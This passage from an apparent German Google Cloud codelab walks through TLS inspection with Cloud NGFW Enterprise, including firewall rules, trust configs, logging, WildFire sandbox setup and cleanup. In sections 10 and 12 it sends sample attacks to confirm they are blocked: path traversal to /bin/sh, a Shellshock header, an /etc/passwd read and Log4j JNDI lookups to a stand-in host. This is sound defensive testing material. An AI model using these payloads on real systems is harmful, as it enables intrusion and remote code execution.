        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Erstellen Sie eine neue Regel, um AUSGEHENDEN Traffic für Ost-West-Traffic zuzulassen, um eine doppelte Prüfung zu vermeiden.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

Hinweis: Eine doppelte Prüfung liegt vor, wenn sowohl die Quell- als auch die Zielressource dieselben Abläufe prüfen.

Von der Client-VM fängt Regel 900 den Fluss ab, wenn ausgehender Traffic über TCP:443 erfolgt.

Auf der Server-VM fängt Regel 800 den Fluss ab, wenn INGRESS auf TCP:443 auftritt.

Um eine doppelte Prüfung zu vermeiden, erstellen wir die Regel 850, die ausgehenden Traffic über TCP:443 zum internen Subnetz zulässt.

Dadurch werden die folgenden Aktionen ausgeführt:

Ost-West-Traffic wird von der INGRESS-Regel geprüft

Northbound-Traffic wird von der EGRESS-Regel geprüft.

Südwärts gerichteter Traffic wird von der INGRESS-Regel geprüft.

10. Northbound-TLS-Prüfung validieren

Wechseln Sie zurück zum Tab der Client-VM oder stellen Sie die Verbindung wieder her:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Senden Sie die Beispielangriffe an ein Internetziel:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Gemäß der erwarteten Ausgabe unten werden keine Antworten empfangen. Das bestätigt, dass die Beispielangriffe jetzt blockiert werden:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Legen Sie die Variable auf die zuvor ermittelte Server-IP fest:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Senden Sie Beispiel-TLS-Anfragen an den Server:

curl https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Warum ist diese Anfrage fehlgeschlagen? Das liegt daran, dass die Firewall ein Zertifikat vom Server erhält, dem sie nicht vertraut. In diesem Fall wird ein selbst signiertes Zertifikat an den Client zurückgegeben. Wir müssen das CA-Zertifikat als Teil einer Vertrauenskonfiguration hinzufügen, um die Vertrauensstellung zu aktivieren.

Kehren Sie zur Cloud Shell zurück.

11. Konfiguration der Vertrauensstellung konfigurieren

Rufen Sie das Root-CA-Zertifikat ab und legen Sie es als Variable mit der richtigen Formatierung fest.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Konfigurieren Sie die YAML-Datei für die Vertrauenskonfiguration. Diese Datei enthält Vertrauensdetails wie CA-Zertifikate:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

In den obigen Befehlen wurde Ihr Root-CA-Zertifikat als Teil des Trust Store aufgenommen, da Ihr Serverzertifikat mit der Root-CA signiert wurde. Das bedeutet, dass die Firewall allen empfangenen Zertifikaten vertraut, die von Ihrer Root-Zertifizierungsstelle signiert wurden. Wenn „excludePublicCaSet“ in Ihrer TLS-Richtlinie auf „false“ gesetzt ist, vertraut sie außerdem den öffentlichen Zertifizierungsstellen.

Prüfen Sie den Inhalt der Konfiguration der Vertrauensstellung.

cat trust_config.yaml 

Beispielausgabe:

Achten Sie genau auf die Einrückung des Zertifikats. Es muss genau diesem Format entsprechen.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importieren Sie die Konfiguration der Vertrauensstellung:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aktualisieren Sie die YAML-Datei der TLS-Richtlinie, um die Vertrauenskonfiguration einzuschließen:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importieren Sie die aktualisierte TLS-Richtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Hinweis: Es kann bis zu 15 Minuten dauern, bis die Änderungen an der Zertifikatskonfiguration wirksam werden.

12. E/W-TLS-Prüfung validieren

Stellen Sie eine SSH-Verbindung zum Client her, um den Ost-West-Traffic mit der aktualisierten Vertrauenskonfiguration zu testen:

Hinweis: Prüfen Sie, ob die Umgebungsvariablen noch festgelegt sind. Führen Sie dazu die folgenden Befehle aus:

printenv target_privateip

Wenn die Variablen nicht mehr festgelegt sind, führen Sie den folgenden Befehl aus, um sie festzulegen:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die TLS-Beispielanfrage an den Server aus:

curl https://$target_privateip --max-time 2

Hinweis: Es kann bis zu 15 Minuten dauern, bis die Zertifikate aktualisiert sind.

Wenn Sie immer noch die folgende Ausgabe erhalten, warten Sie, bis die Aktualisierungen übernommen wurden.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Erwartete Ausgabe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Senden Sie schädlichen Test-Traffic an den Server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Gemäß der erwarteten Ausgabe unten werden keine Antworten empfangen. Das bestätigt, dass die Beispielangriffe jetzt für E/W blockiert werden.

13. Logging

Rufen Sie in der Cloud Console „Logging“ > „Log-Explorer“ auf, geben Sie den folgenden Filter ein und fragen Sie die Logs ab. Ersetzen Sie [PROJECT_ID] durch Ihre Projekt-ID:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise-Logeinträge sollten in etwa so aussehen:

Maximieren Sie die Logeinträge. Die von der Client-VM an den Server gesendeten Angriffe wurden identifiziert und blockiert (Apache Log4j Remote Code-Ausführung Sicherheitslücke, siehe Screenshot unten).

Sie haben Cloud NGFW Enterprise mit TLS-Prüfung erfolgreich bereitgestellt, um schädliche Anfragen zu blockieren.

Fahren Sie mit dem nächsten Abschnitt fort, um optional die erweiterte Malware-Sandbox (WildFire) zu konfigurieren und zu validieren, oder fahren Sie mit den Bereinigungsschritten fort.

14. [Optional] Advanced Malware Sandbox (WildFire) konfigurieren

Die Advanced Malware Sandbox (WildFire) erweitert die Bedrohungsprävention von Cloud NGFW Enterprise, indem sie Dateien während der Übertragung prüft und unbekannte Dateien an eine cloudbasierte Sandbox (unterstützt von Palo Alto Networks Advanced WildFire) zur detaillierten Verhaltensanalyse sendet.

EULA für die Advanced Malware Sandbox akzeptieren

Bevor Sie die Advanced Malware Sandbox auf einem Firewall-Endpunkt aktivieren, müssen Sie die einmalige Endnutzer-Lizenzvereinbarung (EULA) für Ihr Abrechnungsprojekt ($billing_project) lesen und akzeptieren. Die EULA kann nur in der Google Cloud Console akzeptiert werden: Gehen Sie zu Netzwerksicherheit > Firewall-Endpunkte, bearbeiten Sie den Endpunkt $prefix-$zone, wählen Sie unter Erweiterte Konfiguration die Option Advanced Malware Sandbox (WildFire) aktivieren aus und klicken Sie auf Zustimmen und fortfahren.

Wichtig: Wenn die EULA am $billing_project nicht akzeptiert wurde, schlägt der Befehl update unten mit dem Fehler WildFire Terms of Service must be accepted fehl und describe zeigt wildfireSettings: enabled: true nicht an.

Advanced Malware Sandbox am Firewallendpunkt aktivieren

Hinweis: Wenn Sie die EULA für die Advanced Malware Sandbox bereits akzeptiert und --enable-wildfire beim Erstellen von $prefix-$zone in Cloud NGFW Enterprise-Endpunkt erstellen übergeben haben, können Sie den folgenden update-Befehl überspringen und direkt mit der Überprüfung des Endpunkts mit describe fortfahren.

Aktivieren Sie die erweiterte Malware-Sandbox auf dem vorhandenen Firewallendpunkt $prefix-$zone mit gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Prüfen Sie, ob die erweiterte Malware-Sandbox am Firewallendpunkt aktiviert ist:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Erwartete Ausgabe (wildfireSettings: enabled: true und state: ACTIVE prüfen):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Sicherheitsprofil WILDFIRE_ANALYSIS erstellen und konfigurieren

Erstellen Sie ein Sicherheitsprofil für die Advanced Malware Sandbox (WILDFIRE_ANALYSIS) mit dem Namen $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Fügen Sie als Nächstes eine asynchrone Übermittlungsregel hinzu, um APK-Dateien sowohl in Upload- als auch in Downloadrichtung (--direction=BOTH) zu übermitteln:

Hinweis: Regeln für die Übermittlung an die Advanced Malware Sandbox unterstützen die folgenden Dateitypen: APK, ARCHIVE, EMAIL_LINK, FLASH, JAR, LINUX, MS_OFFICE, PDF, PE und SCRIPT. Wenn ANY_FILE angegeben ist, können keine anderen Dateitypen aufgeführt werden. Hier wählen wir ausdrücklich APK (--file-types=APK) anstelle von ANY_FILE aus, damit wir im nächsten Abschnitt die selektive Filterung nach Dateityp für ELF-Dateien (LINUX) demonstrieren können.

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Prüfen Sie das konfigurierte Sicherheitsprofil WILDFIRE_ANALYSIS:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Erwartete Ausgabe:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Sicherheitsprofilgruppe ($prefix-spg) aktualisieren

Hinweis: Ein WILDFIRE_ANALYSIS-Sicherheitsprofil muss immer mit einem THREAT_PREVENTION-Sicherheitsprofil in derselben Sicherheitsprofilgruppe gekoppelt sein. Da $prefix-spg bereits unser $prefix-sp-threat-Profil enthält, können wir $prefix-sp-wildfire direkt an $prefix-spg anhängen.

Aktualisieren Sie $prefix-spg, um $prefix-sp-wildfire anzuhängen:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Erwartete Ausgabe:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Da die Firewallrichtlinienregel 900 (EGRESS über tcp:443 mit --action=apply_security_profile_group und --tls-inspect) bereits auf $prefix-spg verweist, werden verschlüsselte HTTPS-Dateidownloads, die von $prefix-$zone-client initiiert werden, automatisch durch die TLS-Prüfung entschlüsselt und von der Advanced Malware Sandbox ausgewertet, ohne dass Änderungen an der Firewallrichtlinienregel erforderlich sind.

Hinweis: Es kann bis zu 15 Minuten dauern, bis die Konfigurationsänderungen der Sicherheitsprofilgruppe übernommen werden und auf dem Firewall-Endpunkt wirksam werden.

15. [Optional] Einreichung von Dateien für die erweiterte Malware-Sandbox und Forensik validieren

Asynchrone Sandbox-Übermittlung und Dateitypfilterung testen

Hinweis: Bevor Sie Dateidownloads testen, sollten Sie bis zu 15 Minuten warten, nachdem Sie $prefix-sp-wildfire an $prefix-spg angehängt haben, damit die Konfigurationsänderungen an den Firewall-Endpunkt weitergegeben wurden.

Stellen Sie über Identity-Aware Proxy (IAP) eine Verbindung zur Client-VM ($prefix-$zone-client) her:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Laden Sie von der Client-VM die öffentliche Testdatei APK von Palo Alto Networks über HTTPS herunter:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Laden Sie als Nächstes die öffentliche Testdatei ELF von Palo Alto Networks über HTTPS herunter:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Da die Übermittlungsregel in $prefix-sp-wildfire nur auf APK-Dateien (--file-types=APK) abzielt, übermittelt die Firewall die ELF-Datei nicht an Advanced Malware Sandbox.

Hinweis: Beide Downloads sollten erfolgreich abgeschlossen werden. Palo Alto Networks generiert keine Signaturen für seine öffentlichen Testdateien, sodass diese Testdateien nie blockiert werden.

Beenden Sie das Client-VM-Terminal und kehren Sie zu Cloud Shell zurück.

WildfireSubmissionLog in Cloud Logging prüfen

Rufen Sie in der Cloud Console „Logging“ > „Log-Explorer“ auf, geben Sie den folgenden Filter ein und fragen Sie die Logs ab. Ersetzen Sie [PROJECT_ID] durch Ihre Projekt-ID:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

Nach Abschluss der Sandbox-Analyse (normalerweise innerhalb weniger Minuten) wird ein WildfireSubmissionLog-Eintrag für den Download der Datei APK angezeigt. Für den Download der Datei ELF wird dagegen kein Übermittlungslog generiert. Wenn nach einigen Minuten kein Logeintrag angezeigt wird, warten Sie, bis das 15-minütige Propagationsfenster der Sicherheitsprofilgruppe abgelaufen ist, und führen Sie den Download von curl noch einmal aus. Maximieren Sie den Logeintrag. Die JSON-Nutzlast sollte in etwa so aussehen:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Beachten Sie die Schlüsselfelder in wildfireDetails:

• fileType: "APK" und subtype: "WILDFIRE" bestätigen die asynchrone Sandbox-Analyse der APK-Übertragung.
• file ist der vom Server bereitgestellte Dateiname (wildfire-test-apk-file.apk), der sich vom lokalen Dateinamen unterscheiden kann, der mit curl -o verwendet wird.
• hash identifiziert den eindeutigen SHA-256-Hashwert der Testprobe.
• verdict und severity werden durch die Sandbox-Analyse bestimmt.
• reportUri und sampleUri enthalten direkte Links zum Abrufen des Berichts zur dynamischen Analyse und des eingereichten Beispiels.

Einreichung ansehen und forensische Artefakte herunterladen

Hinweis: Zum Ansehen von Einreichungen ist die Berechtigung zum Lesen von Logs in Ihrem Projekt erforderlich, z. B. die Rolle „Loganzeige“ (roles/logging.viewer). Zum Herunterladen von Analyseberichten und Malware-Beispielen sind die Berechtigungen networksecurity.firewallEndpoints.getWildfireReport und networksecurity.firewallEndpoints.getWildfireSample erforderlich, die in Rollen wie „Compute-Netzwerkadministrator“ (roles/compute.networkAdmin) enthalten sind.

Rufen Sie in der Cloud Console „Netzwerksicherheit“ > „NGFW Enterprise-Logs“ > „Advanced Malware Sandbox-Einreichungen“ auf und wählen Sie Ihr Projekt aus. Klicken Sie auf den Eintrag wildfire-test-apk-file.apk, um die Details zur Einreichung aufzurufen, einschließlich des SHA-256-Hashs der Datei, des Ergebnisses und des Firewall-Endpunkts. Unter Weitere Aktionen für die Einreichung können Sie Analysebericht herunterladen auswählen, um den PDF-Bericht zur dynamischen Analyse herunterzuladen, oder Malware-Beispiel herunterladen, um die eingereichte Datei herunterzuladen.

Alternativ können Sie den Analysebericht und die Stichprobe mit den Werten reportUri und sampleUri aus dem Eintrag WildfireSubmissionLog aus Cloud Shell herunterladen:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Bereinigungsschritte

Bereinigung der Basiseinrichtung

Entfernen Sie die Instanzen:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Führen Sie die folgenden Schritte aus, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Entfernen Sie den Tag-Schlüssel und die Tag-Werte:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Entfernen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Löschen Sie den Cloud Router und Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Löschen Sie die reservierten IP-Adressen:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall-SPG, -Verknüpfung und -TLS-Bereinigung

Löschen Sie die Sicherheitsprofilgruppe und die Sicherheitsprofile in dieser Reihenfolge. Wenn Sie den optionalen Abschnitt „Advanced Malware Sandbox“ abgeschlossen haben, führen Sie auch den Befehl zum Löschen von $prefix-sp-wildfire aus, nachdem $prefix-spg gelöscht wurde:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Löschen Sie die Cloud Firewall-Endpunktverknüpfung:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Löschen Sie den Cloud Firewall-Endpunkt. Das kann etwa 20 Minuten dauern:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Optional können Sie mit dem folgenden Befehl prüfen, ob der Cloud NGFW-Endpunkt gelöscht wurde:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Der Status des Endpunkts sollte Folgendes anzeigen:

STATE: DELETING

Nach Abschluss wird der Endpunkt nicht mehr aufgeführt.

Löschen Sie die TLS-Richtlinie und die TrustConfig in dieser Reihenfolge:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Deaktivieren und löschen Sie die Stamm-CA und den CA-Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Subnetz und VPC bereinigen

Löschen Sie abschließend das Subnetz und das VPC-Netzwerk:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Glückwunsch!

Sie haben das Codelab „Cloud NGFW Enterprise für die TLS-Prüfung von Ost-West- und Nord-Süd-Traffic“ erfolgreich abgeschlossen.